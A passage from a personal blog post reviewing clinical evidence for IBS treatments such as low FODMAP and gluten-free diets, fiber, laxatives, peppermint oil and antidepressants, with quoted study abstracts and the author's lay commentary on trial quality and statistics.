-->\n\n<!-- wp:paragraph -->\n<p>Evaluating evidence is hard in general, and evaluating evidence in IBS is no exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll list out those problems, then list how I tried to solve them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, there are specific IBS issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS has a variety of symptoms associated with it, and a treatment that fixes diarrhea will not necessarily fix constipation. This makes treatments difficult to measure in effectiveness. Some scientists try to make up for this by asking patients questions like, “Is your pain reduced?” or “Are you happy with your bowel movements?”, but those can be biased by treatments that treat only pain or depression without affecting IBS-specific symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To solve this, I tried to tease out the various effects that treatments had on different symptoms of IBS when I could. I paid especially close attention to questions that could be biased, which was a particular issue in antidepressants, as those will obviously make people happier with any treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS is also, obviously, really hard to diagnose. One study found that 30% of people with IBS-D actually have bile acid malabsorption. If that’s true, then 30% of the people in any IBS-D study don’t have IBS. What exactly does the study measure, then?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t have a good way of solving this, so I just hoped for the best.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS studies are also often reliant on patient compliance, especially when testing dietary interventions like low FODMAP. This is...not great. <a href=\"https://journals.lww.com/ajg/Fulltext/2014/10002/Diet_Compliance_and_Its_Measurement_in_a_Clinical.1734.aspx\">This IBD study</a> found only 55% diet compliance (i.e. patients ate different food than prescribed almost half of the time). From my own experience, I had a girlfriend who did weight loss studies. Even when the study gave her food to take home, she would throw it out and just eat her own food because it tasted better. Needless to say, she did not tell the clinicians this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to solve this by avoiding studies that were reliant on patient compliance and self-reporting. If I couldn’t avoid the studies, I relied on them less for my recommendations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, those are some IBS specific issues. Let’s talk about issues in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gold standard for a trial is placebo-controlled, double-blind and randomized. Placebo-controlled means that half the people get a fake treatment, so the experimenters can weed out any people who would have gotten better regardless of if they got the control.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Double blind means that neither the patient nor the experimenters know whether they are getting a real treatment, so nobody can cheat on their measurements or reports if they have a belief one way or another. Last, randomized means people get randomly assigned to placebo or treatment, so we end up with the same sorts of people in both groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reaching that gold standard is easier in some trials than in others. If we’re testing a treatment like gluten, it’s actually surprisingly easy if the experimenters are up for it. They just give every group a pill, and sometimes the pill contains wheat flour, sometimes rice flour. The experimenters don’t know which pills are which until all the measurements are done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if we’re testing a treatment like low FODMAP, it’s impossible. Everyone knows which diet is the low FODMAP diet. There’s no faking it for either side. So, if a patient really believes low FODMAP will work for them, they might be a little more lax with their reports, (if they’re between a 1 and 2 on a scale, they might choose 2 more often than 1). An experimenter might do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to notice when studies were falling away from the gold standard, but I don’t want to just throw away all studies that don’t reach that standard. Then I’d have to throw away a lot of potential useful treatments. Instead, I weighted my judgments accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once I was sure studies were performed well, I looked for consistently positive results. Any study can have a positive result once, especially if it’s a small study, in the same way that it’s easy to flip a coin 3 times and get all heads. But consistently getting heads when you flip a coin 100 times is a different story, and suggests there’s actually something there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for consistent results across measures. A treatment should improve IBS severity, overall satisfaction, and symptoms. If it only improves one measure, it suggests that measure might have been a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for big results in the form of big effect sizes vs. placebo. When there are treatments that can almost quadruple the effects of placebo like vitamin D, small effects like mesalazine which might work ok for some people didn’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, I combined all these together and got my evaluations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my recommendations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some technical notes on how to read these.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>RR, which is relative risk, is basically the number with the bad outcome over the number with the good outcome. So, the smaller RR is, the better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CI, which is confidence interval, just accounts for error in the measurement. In the first study below, the RR is estimated to be 0.69, but it might be between 0.54 and 0.88.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I2 (which should really be I<sup>2</sup>) is a measure of “heterogeneity”, or how different the various effects are. The closer I2 gets to 100%, the greater the differences between studies (which makes you start to wonder why they’re so different).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>N, like n=39, is just how many patients there were in a specific group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The P value, like P=0.62, is the likelihood that a difference found between treatments or conditions is a fluke. By convention, we use P&lt;0.05 to mean significant, as in there’s a less than 5% chance that the difference is a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Note for statistics nerds: all the definitions above are rough definitions for a lay audience. If you know the definition better than that, then good on you! Please don’t send me angry messages over it.]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My notes on each study are in <em>italics.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>FODMAP</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Low FODMAP diets seem to work, but the studies aren’t very good. It doesn’t necessarily work better than just eating regularly and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\">A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta-study for both gluten-free diet and low FODMAP. I used it to guide my thinking, but also looked at the studies myself.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;There were seven RCTs comparing a low FODMAP diet with various control interventions in 397 participants. A low FODMAP diet was associated with reduced global symptoms compared with control interventions (RR = 0.69; 95% CI 0.54 to 0.88; I2= 25%). The three RCTS that compared low FODMAP diet with rigorous control diets had the least heterogeneity between studies, but also the least magnitude of effect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508515010860\">Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome as Well as Traditional Dietary Advice: A Randomized Controlled Trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that this study is relying on food diaries. This is an ok solution to problems of non compliance, but it’s not great, as people can still lie or misremember. Keeping a food diet for 4 weeks is hard! Also, there’s definitely an overlap between the low FODMAP diet and the normal diet. There’s also no placebo group.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects were randomly assigned to groups that ate specific diets for 4 weeks—a diet low in FODMAPs (n = 38) or a diet frequently recommended for patients with IBS (ie, a regular meal pattern; avoidance of large meals; and reduced intake of fat, insoluble fibers, caffeine, and gas-producing foods, such as beans, cabbage, and onions), with greater emphasis on how and when to eat rather than on what foods to ingest (n = 37).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 67 patients completed the dietary intervention (33 completed the diet low in FODMAPs, 34 completed the traditional IBS diet). The severity of IBS symptoms was reduced in both groups during the intervention (<em>P</em> &lt; .0001 in both groups before vs at the end of the 4-week diet), without a significant difference between the groups (<em>P</em> = .62). At the end of the 4-week diet period, 19 patients (50%) in the low-FODMAP group had reductions in IBS severity scores ≥50 compared with baseline vs 17 patients (46%) in the traditional IBS diet group (<em>P</em> = .72).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/66/7/1241.short\">FODMAPs alter symptoms and the metabolome of patients with IBS: a randomised controlled trial | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study is looking directly at the metabolome, which is interesting, and should be more reliable than food diaries. The metabolome does seem to change a lot, which is interesting, but it’s weird to look at urine for the metabolome. Urine is not what would normally be affected by a change in diet.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;We performed a controlled, single blind study of patients with IBS (Rome III criteria) randomised to a low (n=20) or high (n=20) FODMAP diet for 3 weeks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thirty-seven patients (19 low FODMAP; 18 high FODMAP) completed the 3-week diet. The IBS-SSS was reduced in the low FODMAP diet group (p&lt;0.001) but not the high FODMAP group. LBTs showed a minor decrease in H2 production in the low FODMAP compared with the high FODMAP group. Metabolic profiling of urine showed groups of patients with IBS differed significantly after the diet (p&lt;0.01), with three metabolites (histamine, p-hydroxybenzoic acid, azelaic acid) being primarily responsible for discrimination between the two groups. Histamine, a measure of immune activation, was reduced eightfold in the low FODMAP group (p&lt;0.05).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508513014078\">A Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a pretty good study. They provided food and they collected stool instead of urine or self-report. Again, there’s no placebo control, so that’s a problem, but this is probably as good as you’re going to get with a low FODMAP diet. I wish they had more people and over a longer term.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a study of 30 patients with IBS and 8 healthy individuals (controls, matched for demographics and diet), we collected dietary data from subjects for 1 habitual week. Participants then randomly were assigned to groups that received 21 days of either a diet low in FODMAPs or a typical Australian diet, followed by a washout period of at least 21 days, before crossing over to the alternate diet. Daily symptoms were rated using a 0- to 100-mm <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/visual-analog-scale\">visual analogue scale</a>. Almost all food was provided during the interventional diet periods, with a goal of less than 0.5 g intake of FODMAPs per meal for the <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/low-fodmap-diet\">low-FODMAP diet</a>. All stools were collected from days 17–21 and assessed for frequency, weight, water content, and King\'s Stool Chart rating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects with IBS had lower overall gastrointestinal symptom scores (22.8; 95% confidence interval, 16.7–28.8 mm) while on a diet low in FODMAPs, compared with the Australian diet (44.9; 95% confidence interval, 36.6–53.1 mm; <em>P</em> &lt; .001) and the subjects\' habitual diet. Bloating, pain, and passage of wind also were reduced while IBS patients were on the low-FODMAP diet. Symptoms were minimal and unaltered by either diet among controls. Patients of all IBS subtypes had greater satisfaction with stool consistency while on the low-FODMAP diet, but diarrhea-predominant IBS was the only subtype with altered fecal frequency and King\'s Stool Chart scores.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Gluten free diet (in non celiac)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pretty good studies, but there’s not a big effect. All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\"><strong>A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Again, same meta review.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both selected patients that had already responded to a GFD, and then randomized them to continue the diet, or to have the diet “spiked” with gluten.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A GFD was associated with reduced global symptoms compared with a control diet (RR = 0.42; 95% CI 0.11 to 1.55; I2= 88%), although this was not statistically significant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/21224837/\">Gluten causes gastrointestinal symptoms in subjects without celiac disease: a double-blind randomized placebo-controlled trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Very skewed women:men ratio. This is “placebo controlled” with normal vs. gluten free muffins. It raises the question of whether the patients could tell the difference between the normal and gluten free muffins, which they probably could.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 34 patients (aged 29-59 years, 4 men) completed the study as per protocol. Overall, 56% had human leukocyte antigen (HLA)-DQ2 and/or HLA-DQ8. Adherence to diet and supplements was very high. Of 19 patients (68%) in the gluten group, 13 reported that symptoms were not adequately controlled compared with 6 of 15 (40%) on placebo (P=0.0001; generalized estimating equation). On a visual analog scale, patients were significantly worse with gluten within 1 week for overall symptoms (P=0.047), pain (P=0.016), bloating (P=0.031), satisfaction with stool consistency (P=0.024), and tiredness (P=0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/26056920/\">Non-Celiac Gluten Sensitivity Has Narrowed the Spectrum of Irritable Bowel Syndrome: A Double-Blind Randomized Placebo-Controlled Trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one is a better placebo because they gave them gluten packets, which would be harder to tell taste wise from gluten free powder. However, the graphs, which I copied below, are terrible and clearly show overlap between placebo and gluten. I’m not a huge fan of this study or how they presented their information, but there does seem to be some effect.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>. In the second stage after six weeks, patients whose symptoms improved to an acceptable level were randomly divided into two groups; patients either received packages containing powdered gluten (35 cases) or patients received placebo (gluten free powder) (37 cases). Overall, the symptomatic improvement was statistically different in the gluten-containing group compared with placebo group in 9 (25.7%), and 31 (83.8%) patients respectively (p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/OD_XoemmNqpSI_F36_qSnOdqcc9dfpkSZ712k2WQA5RFcrtzeSOnjIQpKS-NGm2n4cGVGEZJqODkglWbw7YHMlXMmaUMX9D0k6B4zVOCye3-DKq-lFEdYV4wPmPieqk-TxUXtTO7\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Fiber</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bran and insoluble fiber are probably not effective in any form of IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective. Linseed seems like it’s probably better. It’s hard to tell because the studies aren’t very good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over a max of 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2014.195\">Sci-Hub | The Effect of Fiber Supplementation on Irritable Bowel Syndrome: A Systematic Review and Meta-analysis | 10.1038/ajg.2014.195 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis has a nice risk ratio graph, which is helpful for us. Note that all the results for bran span both sides of the line, so it’s unclear whether it works.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/O5sBs_qNktbfm4SuhbhzTpMtWB1fNef6bxCWLu4dyA9of6pwe3xHG3f07vmFj36ZKSZnNV08lvZZmaHWbraGqJK0cUM0AmUNXHOz-c73e94R-Te8-6N73phF4cDZiVmlxHFsLExQ\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Laxatives</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Laxatives work, but they may not prevent constipation, especially in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I didn’t feel like I had to really prove this one, to be honest. I got lazy.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://qualitysafety.bmj.com/content/10/4/268.short\">Effectiveness of laxatives in adults | BMJ Quality &amp; Safety</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bulk&nbsp; (fibre&nbsp; based)&nbsp; laxatives&nbsp; and&nbsp; osmotic</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>laxatives (including lactulose and PEG) are</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>associated with increases in frequency and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>improvements &nbsp; in &nbsp; stool &nbsp; consistency &nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>symptoms of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little evidence is available at present as to</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>the&nbsp; comparative&nbsp; effectiveness&nbsp; of&nbsp; bulk&nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>non-bulk laxatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There&nbsp; is&nbsp; no&nbsp; good&nbsp; evidence&nbsp; that&nbsp; laxatives</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>prevent constipation in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp; stepped&nbsp; approach&nbsp; to&nbsp; laxative&nbsp; treatment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>would seem justified, involving initial inter-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vention with cheaper laxatives, before pro-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ceeding to the more expensive alternatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is a pressing need for large compara-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>tive trials of diferent strategies for the man-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>agement&nbsp; of&nbsp; constipation&nbsp; in&nbsp; adults.&nbsp; This</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>should include comparisons of the effectiveness of diferent classes of laxative.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Research is also required into the effectiveness&nbsp; of&nbsp; overall&nbsp; dietary&nbsp; change&nbsp; (including increased&nbsp; fluid&nbsp; intake)&nbsp; in&nbsp; the&nbsp; treatment&nbsp; of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Anti spasmodics (dicylomine, peppermint oil, pinaverium, trimebutine)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD003460.pub3/full\">Bulking agents, antispasmodics and antidepressants for the treatment of irritable bowel syndrome - Ruepert, L - 2011 | Cochrane Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a Cochrane review paper. Cochrane is usually seen as the gold standard for reviews, although they’re often too strict.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Also, note that they reverse RR, so RR above 1 is good.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was a beneficial effect for antispasmodics over placebo for improvement of abdominal pain (58% of antispasmodic patients improved compared to 46% of placebo; 13 studies; 1392 patients; RR 1.32; 95% CI 1.12 to 1.55; P &lt; 0.001; NNT = 7), global assessment (57% of antispasmodic patients improved compared to 39% of placebo; 22 studies; 1983 patients; RR 1.49; 95% CI 1.25 to 1.77; P &lt; 0.0001; NNT = 5) and symptom score (37% of antispasmodic patients improved compared to 22% of placebo; 4 studies; 586 patients; RR 1.86; 95% CI 1.26 to 2.76; P &lt; 0.01; NNT = 3). Subgroup analyses for different types of antispasmodics found statistically significant benefits for cimteropium/ dicyclomine, peppermint oil, pinaverium and trimebutine. Separate analysis of the studies with adequate allocation concealment found a significant benefit for improvement of abdominal pain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/BkdShau5oAp6vd8zGdnHTfzVSVH6hPYiyRI5-OEWbDr43a1UPFSnj_WpZS1dVWT-w9k39ydZ3KeVsKndvc6XOLssQ_1bl3YZObV3WWH6O8gBMdVYbDpEwhN1owUpUgwQHxNwUD_8\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1590865807000618\">Peppermint oil (Mintoil®) in the treatment of irritable bowel syndrome: A prospective double blind placebo-controlled randomized trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I wanted to look at peppermint oil specifically because that’s what I used to use. It works well according to this study, although note that there’s a rebound between 4 to 8 weeks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fifty-seven patients with irritable bowel syndrome according to the Rome II criteria, with normal lactose and lactulose breath tests and negative antibody screening for celiac disease, were treated with peppermint oil (two enteric-coated capsules twice per day or placebo) for 4 weeks in a double blind study. The symptoms were assessed before therapy (T0), after the first 4 weeks of therapy (T4) and 4 weeks after the end of therapy (T8).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At T4, 75% of the patients in the peppermint oil group showed a &gt;50% reduction of basal (T0) total irritable bowel syndrome symptoms score compared with 38% in the placebo group (P &lt; 0.009). With peppermint oil at T4 and at T8 compared with T0 a statistically significant reduction of the total irritable bowel syndrome symptoms score was found (T0: 2.19 ± 0.13, T4: 1.07 ± 0.10*, T8: 1.60 ± 0.10*, *P &lt; 0.01 compared with T0, mean ± S.E.M.), while no change was found with the placebo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.minervamedica.it/en/journals/gazzetta-medica-italiana/article.php?cod=R22Y2005N02A0119\">Efficacy of peppermint oil in the treatment of irritable bowel syndrome: a randomized, controlled trial - Gazzetta Medica Italiana Archivio per le Scienze Mediche 2005 April;164(2):119-26 - Minerva Medica - Journals</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Another study showing an effect of peppermint oil, but I wonder if there was a rebound here, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We enrolled 178 consecutive patients affected by IBS, according to the Rome II diagnostic criteria. They were randomized by computer-generated lists to receive either Mintoil 2 capsules t.i.d. before meals for 3 months, or a placebo. A validated questionnaire was administered every 3 weeks to measure the outcome. Data were analysed by χ2 test.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results. Ninety-one patients (22 M, 69 F; mean age 41 yrs; range 18-72 yrs) received Mintoil, and 87 patients (23 M, 64 F; mean age 44 yrs; range 21-74 yrs) assumed the placebo. Three patients withdrew from the study because of non IBS-related diseases, and two patients because of pyrosis. No other adverse events were recorded.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Peppermint oil, compared to placebo, improved IBS overall symptoms in 73/91 (80%) vs 31/87 (36%) patients (p&lt;0.02). Particularly, significant improvements were achieved for gastroenteric symptoms, in 88/91 (97%) vs 29/87 (33%) patients (p&lt;0.01), psychical discomfort, in 34/91 (37%) vs 16/87 (18%) patients (p&lt;0.05), and socio-familiar impact, in 69/91 (76%) vs 37/87 (43%) patients (p&lt;0.04).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Discontinuation of proton pump inhibitors</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This isn’t really an IBS one, but PPIs do lead to SIBO. Discontinuing them may help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1365-2362.2010.02419.x\">Effects of long‐term PPI treatment on producing bowel symptoms and SIBO - Compare - 2011 - European Journal of Clinical Investigation - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I only really wanted one study for this, because it’s pretty well known, but here you go. They gave patients PPI and accidentally gave them IBS. The other patients who weren’t given PPI didn’t get IBS.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Methods Patients with NERD (acid reflux) not complaining of bowel symptoms were selected by upper endoscopy, 24‐h pH‐metry and a structured questionnaire concerning severity and frequency of bloating, flatulence, abdominal pain, diarrhoea and constipation. Patients were treated with esomeprazole 20 mg bid for 6 months. Prior to and after 8 weeks and 6 months of therapy, patients received the structured questionnaire and underwent evaluation of SIBO by glucose hydrogen breath test (GHBT).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results Forty‐two patients with NERD were selected out of 554 eligible patients. After 8 weeks of PPI treatment, patients complained of bloating, flatulence, abdominal pain and diarrhoea in 43%, 17%, 7% and 2%, respectively. After 6 months, the incidence of bowel symptoms further increased and GHBT (glucose hydrogen breath test) was found positive in 11/42 (26%) patients. By a post hoc analysis, a significant (P &lt; 0·05) percentage of patients (8/42) met Rome III criteria for irritable bowel syndrome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Antidepressants</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Antidepressants probably make you feel better if you have IBS, in the same way that therapy would. They don’t have any other effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/ajg/Abstract/2004/05000/Paroxetine_to_Treat_Irritable_Bowel_Syndrome_Not.27.aspx\"><strong>Paroxetine to Treat Irritable Bowel Syndrome Not Responding... : Official journal of the American College of Gastroenterology | ACG (lww.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that well-being improves with paroxetine, which is an antidepressant, but specific IBS related symptoms do not.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Group 2, overall well-being improved more with paroxetine than with placebo (63.3%vs 26.3%; p = 0.01), but abdominal pain, bloating, and social functioning did not. With paroxetine, food avoidance decreased (p = 0.03) and work functioning was marginally better (p = 0.08). Before unblinding, more paroxetine recipients than placebo recipients wanted to continue their study medication (84%vs 37%; p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528209181108\">The Effect of Trimipramine in Patients with the Irritable Bowel Syndrome: A Double-Blind Study: Scandinavian Journal of Gastroenterology: Vol 17, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one shows that trimipramine helps when given a bedtime, for both IBS scores and quality of life. However, I’m not entirely sure what this study is measuring, because there’s a lot of vomiting in this study. IBS patients shouldn’t be vomiting.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;61 patients were given either 50 mg trimipramine at bedtime or identically looking coded placebo in a prospective study for 4 weeks. The complaints were graded on an analogue scale by both the patients and the physicians. The results showed that the complaint scores were significantly reduced to about half in the placebo group. In the group treated with trimipramine a significantly greater reduction was found for the scores of 